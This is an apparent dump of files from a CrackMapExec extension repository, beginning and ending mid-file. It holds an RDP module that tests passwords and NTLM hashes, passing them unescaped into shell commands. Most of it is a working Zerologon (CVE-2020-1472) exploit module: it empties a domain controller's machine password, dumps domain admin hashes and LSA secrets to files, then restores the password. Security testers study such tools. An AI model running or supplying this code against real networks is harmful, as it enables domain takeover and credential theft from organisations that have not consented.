locked)':['ERRCONNECT_ACCOUNT_LOCKED_OUT'], 15 | '(Account has been disabled)':['ERRCONNECT_ACCOUNT_DISABLED [0x00020012]'], 16 | '(Account was expired)':['0x0002000D','0x00000009'], 17 | '(Not support NLA)':['ERRCONNECT_SECURITY_NEGO_CONNECT_FAILED [0x0002000C]'], 18 | '(Password expired)':['0x0002000E','0x0002000F','0x00020013'], 19 | '(RDP login failed)':['0x00020009','0x00020014'], 20 | 'Failed':['Resource temporarily unavailable', 'Broken pipe', 'ERRCONNECT_CONNECT_FAILED [0x00020006]', 'Connection timed out', 'Connection reset by peer'] 21 | } 22 | 23 | class xfreerdp(connection): 24 | 25 | def __init__(self, args, db, host): 26 | self.output_filename = None 27 | self.domain = None 28 | self.nla = False 29 | 30 | connection.__init__(self, args, db, host) 31 | 32 | def proto_logger(self): 33 | self.logger = CMEAdapter( 34 | extra={ 35 | "protocol": "XFREERDP", 36 | "host": self.host, 37 | "port": self.args.port, 38 | "hostname": self.hostname, 39 | } 40 | ) 41 | 42 | def print_host_info(self): 43 | nla = colored(f"nla:{self.nla}", host_info_colors[3], attrs=['bold']) if self.nla else colored(f"nla:{self.nla}", host_info_colors[2], attrs=['bold']) 44 | if not self.nla: 45 | self.logger.display(f"Old version OS which means not support NLA (name:{self.host}) {nla}") 46 | else: 47 | self.logger.display(f"(name:{self.hostname}) {nla}") 48 | return True 49 | 50 | def create_conn_obj(self): 51 | try: 52 | connection = subprocess.Popen(f'xfreerdp /v:"{self.host}" /port:{self.args.port} +auth-only /d:"{str(uuid.uuid4())}" /u:"{str(uuid.uuid4())}" /p:"{str(uuid.uuid4())}" /cert-tofu /tls-seclevel:0 /timeout:{self.args.rdp_timeout * 1000}', stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) 53 | output_error = connection.stderr.read().decode('utf-8') 54 | if any(single_word in output_error for single_word in status_dict['Failed']): 55 | return False 56 | else: 57 | CN_match = re.search(r'CN = (\S+)', output_error) 58 | if CN_match: 59 | hostname = CN_match.group(1) 60 | self.nla = True 61 | self.hostname = hostname 62 | self.logger.extra["hostname"] = hostname 63 | else: 64 | self.logger.extra["hostname"] = self.host 65 | 66 | self.output_filename = os.path.expanduser(f"~/.cme/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")) 67 | return True 68 | except Exception as e: 69 | self.logger.error(str(e)) 70 | return False 71 | 72 | def plaintext_login(self, domain, username, password): 73 | try: 74 | connection = subprocess.Popen(f'xfreerdp /v:"{self.host}" /port:{self.args.port} +auth-only /d:"{domain}" /u:"{username}" /p:"{password}" /cert-ignore /tls-seclevel:0 /timeout:{self.args.rdp_timeout * 1000}', stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) 75 | output_error = connection.stderr.read().decode('utf-8') 76 | if success_flag in output_error: 77 | self.admin_privs = True 78 | self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}") 79 | else: 80 | for k,v in status_dict.items(): 81 | if any(single_word in output_error for single_word in v): 82 | self.logger.fail(f"{domain}\\{username}:{process_secret(password)} {k}") 83 | return False 84 | 85 | if not self.args.continue_on_success: 86 | return True 87 | 88 | except Exception as e: 89 | self.logger.error(str(e)) 90 | 91 | def hash_login(self, domain, username, ntlm_hash): 92 | try: 93 | connection = subprocess.Popen(f'xfreerdp /v:"{self.host}" /port:{self.args.port} +auth-only /d:"{domain}" /u:"{username}" /p:"" /pth:{ntlm_hash} /sec:nla /cert-ignore /tls-seclevel:0 /timeout:{self.args.rdp_timeout * 1000}', stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) 94 | output_error = connection.stderr.read().decode('utf-8') 95 | if success_flag in output_error: 96 | self.admin_privs = True 97 | self.logger.success(f"{domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}") 98 | else: 99 | for k,v in status_dict.items(): 100 | if any(single_word in output_error for single_word in v): 101 | self.logger.fail(f"{domain}\\{username}:{process_secret(ntlm_hash)} {k}") 102 | return False 103 | 104 | if not self.args.continue_on_success: 105 | return True 106 | 107 | except Exception as e: 108 | self.logger.error(str(e)) 109 | -------------------------------------------------------------------------------- /cme-xfreerdp/xfreerdp/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XiaoliChan/CrackMapExec-Extension/d113e055b834ee4872c5c148dc58cd3fbcc2d039/cme-xfreerdp/xfreerdp/__init__.py -------------------------------------------------------------------------------- /cme-xfreerdp/xfreerdp/database.py: -------------------------------------------------------------------------------- 1 | class database: 2 | 3 | def __init__(self, conn): 4 | self.conn = conn 5 | 6 | @staticmethod 7 | def db_schema(db_conn): 8 | db_conn.execute('''CREATE TABLE "credentials" ( 9 | "id" integer PRIMARY KEY, 10 | "username" text, 11 | "password" text 12 | )''') 13 | 14 | db_conn.execute('''CREATE TABLE "hosts" ( 15 | "id" integer PRIMARY KEY, 16 | "ip" text, 17 | "hostname" text, 18 | "port" integer 19 | )''') 20 | -------------------------------------------------------------------------------- /cme-xfreerdp/xfreerdp/db_navigator.py: -------------------------------------------------------------------------------- 1 | from cme.cmedb import DatabaseNavigator 2 | 3 | 4 | class navigator(DatabaseNavigator): 5 | pass 6 | -------------------------------------------------------------------------------- /cme-xfreerdp/xfreerdp/proto_args.py: -------------------------------------------------------------------------------- 1 | def proto_args(parser, std_parser, module_parser): 2 | xfreerdp_parser = parser.add_parser('xfreerdp', help="own stuff using RDP (xfreerdp)", parents=[std_parser, module_parser]) 3 | xfreerdp_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') 4 | xfreerdp_parser.add_argument("--port", type=int, default=3389, help="Custom RDP port") 5 | xfreerdp_parser.add_argument("--rdp-timeout", type=int, default=5, help="RDP timeout on socket connection, defalut is %(default)ss") 6 | 7 | dgroup = xfreerdp_parser.add_mutually_exclusive_group() 8 | dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to") 9 | dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') 10 | 11 | return parser -------------------------------------------------------------------------------- /cme-zerologon-autopwn/zerologon.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # everything is comming from https://github.com/dirkjanm/CVE-2020-1472 4 | # credit to @dirkjanm 5 | # module by : @mpgn_x64 6 | 7 | from binascii import unhexlify 8 | from struct import pack, unpack 9 | 10 | from impacket.ldap import ldap 11 | from impacket.smbconnection import SMBConnection 12 | from impacket.examples.secretsdump import RemoteOperations, NTDSHashes, LSASecrets 13 | from impacket.dcerpc.v5 import nrpc, epm, transport 14 | from impacket.dcerpc.v5.dtypes import NULL 15 | from impacket.dcerpc.v5.rpcrt import DCERPCException 16 | from impacket.dcerpc.v5.nrpc import NetrServerPasswordSet2Response, NetrServerPasswordSet2 17 | 18 | # Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be necessary on average. 19 | MAX_ATTEMPTS = 2000 # False negative chance: 0.04% 20 | 21 | 22 | class CMEModule: 23 | name = "zerologon" 24 | description = "Module to check if the DC is vulnerable to Zerologon aka CVE-2020-1472" 25 | supported_protocols = ["smb", "wmi"] 26 | opsec_safe = True 27 | multiple_hosts = False 28 | 29 | def __init__(self, context=None, module_options=None): 30 | self.context = context 31 | self.module_options = module_options 32 | 33 | def options(self, context, module_options): 34 | """ 35 | crackmapexec smb DC-IP -u username -p password -M zerologon 36 | crackmapexec smb DC-IP -u username -p password -M zerologon -o mode=pwn 37 | """ 38 | self.__pwn = False 39 | self.__vuln = False 40 | 41 | if module_options: 42 | if "pwn" in module_options['MODE']: 43 | self.__pwn = True 44 | 45 | def on_login(self, context, connection): 46 | self.logger = context.log 47 | 48 | zerologon_exp = ZerologonEXP(self.logger, connection) 49 | if zerologon_exp.perform_attack(): 50 | self.__vuln = True 51 | if self.__pwn is False: 52 | self.logger.success("Try module option '-o mode=pwn' to attack target") 53 | try: 54 | host = self.context.db.get_hosts(connection.host)[0] 55 | self.context.db.add_host( 56 | host.ip, 57 | host.hostname, 58 | host.domain, 59 | host.os, 60 | host.smbv1, 61 | host.signing, 62 | zerologon=True, 63 | ) 64 | except Exception as e: 65 | self.logger.debug(f"Error updating zerologon status in database") 66 | 67 | if self.__pwn == True and self.__vuln == True: 68 | username = None 69 | 70 | zerologon_exp.perform_attack(pwn_flag=True) 71 | 72 | secretsdump = secretsdump_nano(self.logger, connection) 73 | try: 74 | username, nthash = secretsdump.NTDSDump_BlankPass() 75 | except Exception as e: 76 | if not username: 77 | self.logger.fail('All domain admins account has smb login issues, add "--debug" to get more details.') 78 | else: 79 | self.logger.fail(str(e)) 80 | return 81 | else: 82 | hexpass = secretsdump.LSADump(username=username, nthash=nthash) 83 | 84 | action = ChangeMachinePassword(password=unhexlify(hexpass.strip("\r\n")), connection=connection, logger=self.logger) 85 | action.restore_DCPass() 86 | 87 | class ZerologonEXP(): 88 | def __init__(self, logger, connection): 89 | self.__dc_handle = f"\\\\{connection.hostname}" 90 | self.__target_computer = connection.hostname 91 | self.__dc_ip = connection.host 92 | self.logger = logger 93 | 94 | def perform_attack(self, pwn_flag=False): 95 | binding = epm.hept_map(self.__dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") 96 | dce = transport.DCERPCTransportFactory(binding).get_dce_rpc() 97 | dce.connect() 98 | dce.bind(nrpc.MSRPC_UUID_NRPC) 99 | if not pwn_flag: 100 | # Keep authenticating until successful. Expected average number of attempts needed: 256. 101 | self.logger.display("Check mode: Performing authentication attempts...") 102 | try: 103 | for attempt in range(0, MAX_ATTEMPTS): 104 | result = self.try_zero_authenticate(dce) 105 | if result: 106 | self.logger.highlight("VULNERABLE") 107 | return True 108 | else: 109 | self.logger.highlight("Attack failed, target is probably not vulnerable.") 110 | except DCERPCException as e: 111 | self.logger.fail(f"Error while connecting to host, DCERPCException: {str(e)}, which means this is probably not a DC!") 112 | else: 113 | self.logger.display('PWN mode, changing DC account password to empty string') 114 | result = None 115 | for attempt in range(0, MAX_ATTEMPTS): 116 | try: 117 | result = self.zerologon_exploit(dce) 118 | except nrpc.DCERPCSessionError as ex: 119 | # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. 120 | if ex.get_error_code() == 0xc0000022: 121 | pass 122 | else: 123 | self.logger.fail(f'Unexpected error code from DC: {ex.get_error_code()}.') 124 | except BaseException as ex: 125 | self.logger.fail(f'Unexpected error: {ex}.') 126 | 127 | if result is None: 128 | self.logger.debug("Pwning...") 129 | else: 130 | break 131 | 132 | if result['ErrorCode'] == 0: 133 | self.logger.highlight('Exploit complete!') 134 | else: 135 | self.logger.fail('Non-zero return code, something went wrong?') 136 | 137 | def try_zero_authenticate(self, dce): 138 | # Connect to the DC's Netlogon service. 139 | # Use an all-zero challenge and credential. 140 | plaintext = b"\x00" * 8 141 | ciphertext = b"\x00" * 8 142 | 143 | # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. 144 | flags = 0x212FFFFF 145 | 146 | # Send challenge and authentication request. 147 | nrpc.hNetrServerReqChallenge(dce, self.__dc_handle + "\x00", self.__target_computer + "\x00", plaintext) 148 | try: 149 | server_auth = nrpc.hNetrServerAuthenticate3( 150 | dce, 151 | self.__dc_handle + "\x00", 152 | self.__target_computer + "$\x00", 153 | nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, 154 | self.__target_computer + "\x00", 155 | ciphertext, 156 | flags, 157 | ) 158 | 159 | # It worked! 160 | assert server_auth["ErrorCode"] == 0 161 | return True 162 | 163 | except nrpc.DCERPCSessionError as ex: 164 | # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. 165 | if ex.get_error_code() == 0xC0000022: 166 | return None 167 | else: 168 | self.logger.fail(f"Unexpected error code from DC: {ex.get_error_code()}.") 169 | except BaseException as ex: 170 | self.logger.fail(f"Unexpected error: {str(ex)}.") 171 | 172 | def zerologon_exploit(self, dce): 173 | request = nrpc.NetrServerPasswordSet2() 174 | request['PrimaryName'] = self.__dc_handle + '\x00' 175 | request['AccountName'] = self.__target_computer + '$\x00' 176 | request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel 177 | authenticator = nrpc.NETLOGON_AUTHENTICATOR() 178 | authenticator['Credential'] = b'\x00' * 8 179 | authenticator['Timestamp'] = 0 180 | request['Authenticator'] = authenticator 181 | request['ComputerName'] = self.__target_computer + '\x00' 182 | request['ClearNewPassword'] = b'\x00' * 516 183 | return dce.request(request) 184 | 185 | class secretsdump_nano(): 186 | def __init__(self, logger, connection): 187 | self.__remoteName = connection.host 188 | self.__remoteHost = connection.host 189 | self.__kdcHost = connection.kdcHost 190 | self.__dcName = f"{connection.hostname}$" 191 | self.__domain = connection.domain 192 | self.__outputFileName=connection.output_filename 193 | self.__hexpass = "" 194 | self.logger = logger 195 | 196 | domainParts = self.__domain.split('.') 197 | baseDN = '' 198 | for i in domainParts: 199 | baseDN += 'dc=%s,' % i 200 | # Remove last ',' 201 | self.__baseDN = baseDN[:-1] 202 | 203 | def NTDSDump_BlankPass(self): 204 | 205 | creds = [] 206 | def add_ntds_hash(ntds_hash): 207 | creds.append(ntds_hash.split(" ")[0]) 208 | self.logger.highlight(ntds_hash.split(" ")[0]) 209 | 210 | # Initialize LDAP Connection 211 | if self.__kdcHost is None: 212 | self.__kdcHost = self.__remoteHost 213 | 214 | ldapConnection = ldap.LDAPConnection(f"ldap://{self.__domain}", self.__baseDN, self.__kdcHost) 215 | ldapConnection.login(self.__dcName, '', self.__domain, '', '') 216 | searchFilter = f"(&(|(memberof=CN=Domain Admins,CN=Users,{self.__baseDN})(memberof=CN=Enterprise Admins,CN=Users,{self.__baseDN}))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" 217 | 218 | # Initialize smb connection for get into DRSUAPI method 219 | smbConnection = SMBConnection(self.__remoteName, self.__remoteHost) 220 | # Blank password, lm & nt hashes 221 | smbConnection.login(self.__dcName, '', self.__domain, '', '') 222 | 223 | # Initialize remoteoperations 224 | #outputFileName = "{}_{}_domain_admins".format(self.dcName, self.remoteHost) 225 | remoteOps = RemoteOperations(smbConnection=smbConnection, doKerberos=False, kdcHost=self.__kdcHost, ldapConnection=ldapConnection) 226 | nh = NTDSHashes( 227 | None, 228 | None, 229 | isRemote=True, 230 | history=False, 231 | noLMHash=False, 232 | remoteOps=remoteOps, 233 | useVSSMethod=False, 234 | justNTLM=True, 235 | pwdLastSet=False, 236 | resumeSession=None, 237 | outputFileName=self.__outputFileName, 238 | justUser=None, 239 | ldapFilter=searchFilter, 240 | printUserStatus=False, 241 | perSecretCallback=lambda secret_type, secret: add_ntds_hash(secret), 242 | ) 243 | 244 | self.logger.success(f'Dumping all domain admins creds to file {self.__outputFileName}.ntds') 245 | nh.dump() 246 | # Domain admin to extra lsa secret to get DC history password (plain_password_hex) 247 | # Return all domain admins cred, for some reason, maybe some user creds are unavailable like PASSWORD_EXPIRED. 248 | nh.finish() 249 | return self.verifyCred(creds) 250 | 251 | def verifyCred(self, creds): 252 | for i in creds: 253 | username = i.split(":")[0] 254 | if "\\" in username: 255 | username = username.split("\\")[1] 256 | 257 | nthash = i.split(":")[3] 258 | try: 259 | smbConnection = SMBConnection(self.__remoteName, self.__remoteHost) 260 | smbConnection.login(username, '', self.__domain, '', nthash) 261 | except Exception as e: 262 | self.logger.info(f"Domain admin: {username} unavailable, reason: {str(e)}") 263 | pass 264 | else: 265 | self.logger.display(f'Use domain admin: "{username}" to get DC hex password and restore DC nthash') 266 | return username, nthash 267 | 268 | def LSADump(self, username, nthash): 269 | def add_lsa_secret(secret): 270 | if "plain_password_hex" in secret: 271 | self.__hexpass = secret.split(":")[2] 272 | self.logger.success(f"Dumping DC hex password") 273 | self.logger.highlight(self.__hexpass) 274 | 275 | smbConnection = SMBConnection(self.__remoteName, self.__remoteHost) 276 | smbConnection.login(username, '', self.__domain, '', nthash) 277 | remoteOps = RemoteOperations(smbConnection, False) 278 | 279 | #remoteOps.setExecMethod("smbexec") 280 | remoteOps.enableRegistry() 281 | bootKey = remoteOps.getBootKey() 282 | SECURITYFileName = remoteOps.saveSECURITY() 283 | LSASecret = LSASecrets( 284 | SECURITYFileName, 285 | bootKey, 286 | remoteOps, 287 | True, 288 | False, 289 | perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), 290 | ) 291 | LSASecret.dumpSecrets() 292 | LSASecret.exportSecrets(self.__outputFileName) 293 | 294 | self.logger.success(f"Dumped LSA secrets to {self.__outputFileName}.secrets") 295 | 296 | LSASecret.finish() 297 | return self.__hexpass 298 | 299 | class ChangeMachinePassword: 300 | KNOWN_PROTOCOLS = { 301 | 135: {'bindstr': r'ncacn_ip_tcp:%s', 'set_host': False}, 302 | 139: {'bindstr': r'ncacn_np:%s[\PIPE\netlogon]', 'set_host': True}, 303 | 445: {'bindstr': r'ncacn_np:%s[\PIPE\netlogon]', 'set_host': True}, 304 | } 305 | 306 | def __init__(self, password, connection, logger): 307 | self.__password = password 308 | self.__remoteName = connection.hostname 309 | self.__remoteHost = connection.host 310 | self.logger = logger 311 | 312 | def restore_DCPass(self): 313 | stringbinding = epm.hept_map(self.__remoteHost, nrpc.MSRPC_UUID_NRPC, protocol = 'ncacn_ip_tcp') 314 | self.logger.info('StringBinding %s'%stringbinding) 315 | rpctransport = transport.DCERPCTransportFactory(stringbinding) 316 | dce = rpctransport.get_dce_rpc() 317 | dce.connect() 318 | dce.bind(nrpc.MSRPC_UUID_NRPC) 319 | 320 | resp = nrpc.hNetrServerReqChallenge(dce, NULL, self.__remoteName + '\x00', b'12345678') 321 | serverChallenge = resp['ServerChallenge'] 322 | 323 | # Empty at this point 324 | self.sessionKey = nrpc.ComputeSessionKeyAES('', b'12345678', serverChallenge) 325 | 326 | self.ppp = nrpc.ComputeNetlogonCredentialAES(b'12345678', self.sessionKey) 327 | 328 | try: 329 | resp = nrpc.hNetrServerAuthenticate3(dce, '\\\\' + self.__remoteName + '\x00', self.__remoteName + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,self.__remoteName + '\x00',self.ppp, 0x212fffff ) 330 | except Exception as e: 331 | if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0: 332 | raise 333 | self.clientStoredCredential = pack('